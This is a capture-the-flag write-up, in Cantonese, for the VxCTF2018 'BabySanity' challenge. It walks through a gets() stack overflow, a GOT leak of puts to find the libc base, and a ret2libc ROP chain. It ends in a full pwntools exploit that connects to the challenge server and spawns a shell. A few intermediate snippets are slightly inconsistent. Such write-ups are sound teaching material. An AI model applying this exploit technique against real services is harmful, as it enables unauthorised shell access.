VxCTF2018-BabySanity

Question

Binary

sanity
libc-2.23.so

Solution

一見到有個.so 比賽果陣都放棄左了 , 呢題係完左之後2日先做番出黎

首先啦 , 基本動作 checksec先

1
2
3
4
5
Arch:    amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

之後扔入IDA睇下個Main先

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [sp+10h] [bp-70h]@1

puts("Sanity Check should be easy");
fflush(_bss_start);
gets(&v4);
return 0;
}

Leak Function Address

首先試下點樣可以 trigger main行多次先

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

p = process('sanity')
e = ELF('./sanity')

payload = "a"*(0x70+8)
payload += p64(gadget)
payload += p64(0x401000) #just for fill rdi
payload += p64(e.symbols['main'])
"""
Output:
Sanity Check should be easy
Sanity Check should be easy
"""

可以見到已經行左2次 , 咁如果我地將0x401000轉做一個function既地址會點?
最終係可以構做到變成puts(gotAddress)
例如想leak libc既main 可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

p = process('sanity')
e = ELF('./sanity')

gadget = 0x4006a3 #pop rdi;ret;

payload = "a"*(0x70+8)
payload += p64(gadget)
payload += p64(e.got['__libc_start_main'])
payload += p64(e.plt['puts']) #puts(__libc_start_main_got)
payload += p64(e.symbols['main'])
"""
Output:
有堆亂碼 , 應該係address既hex string黎
Sanity Check should be easy
"""

咁我地試下leak puts既address啦 , 搵offset都方便d

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

p = process('sanity')
e = ELF('./sanity')

gadget = 0x4006a3 #pop rdi;ret;
libc_puts_off = libc.symbols['puts']

payload = "a"*(0x70+8)
payload += p64(gadget)
payload += p64(e.got['puts'])
payload += p64(e.plt['puts']) #puts(puts_addr_got)
payload += p64(e.symbols['main'])

p.recvuntil("easy\n")
p.sendline(payload)

leaked = p.recvuntil("\n")
print leaked.encode('hex')
"""
Output:
90afab45ad7f0a
Sanity Check should be easy
"""

咁個puts address應該係7fad45abaf90 , 但係多左個0a又調轉左喎 , 咁format下佢 , 同埋計番個libc_base先

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

p = process('sanity')
e = ELF('./sanity')

gadget = 0x4006a3 #pop rdi;ret;
libc_puts_off = libc.symbols['puts']

payload = "a"*(0x70+8)
payload += p64(gadget)
payload += p64(e.got['puts'])
payload += p64(e.plt['puts']) #puts(puts_addr_got)
payload += p64(e.symbols['main'])

p.recvuntil("easy\n")
p.sendline(payload)

leaked = p.recvuntil("\n")
leaked = u64(leaked[:-1].ljust(8,'\x00'))

libc_base = leaked - libc_puts_off
info("Libc base:" + hex(libc_base))
"""
Output:
[*] Libc base: 0x7f28573b5900
"""

咁之後就可以慢慢拎番 binsh 既offset 同埋system既offset , 加番libc base , 再做ROP

1
2
libc_system_off = libc_base + libc.symbols['system']
libc_binsh_offset = libc_base + next(libc.search('/bin/sh'))

ROP

  1. Buffer overflow

    1
    2
    3
    pattern create 200 input
    r < input
    pattern search
  2. 搵ROPgadget (pop rdi; ret;)

    1
    ROPgadget --binary sanity --only 'pop|ret'
  3. 砌積木

    1
    buffer + gadget + binsh_addr + system_addr

Full exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

#p = process("./sanity")
p = remote("35.185.151.73",8044)

libc = ELF("./libc-2.23.so")
e = ELF('./sanity')

libc_system_off = libc.symbols['system']
libc_puts_off = libc.symbols['puts']
libc_binsh_offset = next(libc.search('/bin/sh'))
gadget = 0x4006a3

info("libc system offset: " + hex(libc_system_off))
info("libc /bin/sh offset: " + hex(libc_binsh_offset))
info("libc puts offset: " + hex(libc_puts_off))

payload = "a"*(0x70+8)
payload += p64(gadget)
payload += p64(e.got['puts'])
payload += p64(e.plt['puts'])
payload += p64(e.symbols['main'])

p.recvuntil("Sanity Check should be easy\n")
p.sendline(payload)

leaked = p.recvuntil("\n")
leaked = u64(leaked[:-1].ljust(8,'\x00'))
libc_base_addr = leaked - libc_puts_off

info("leaked puts: " + hex(leaked))
info("libc base: " + hex(libc_base_addr))

p.recvuntil("\n")
payload = "a"*(0x70+8)
payload += p64(gadget)
payload += p64(libc_base_addr + libc_binsh_offset)
payload += p64(libc_base_addr + libc_system_off)

p.sendline(payload)
p.interactive()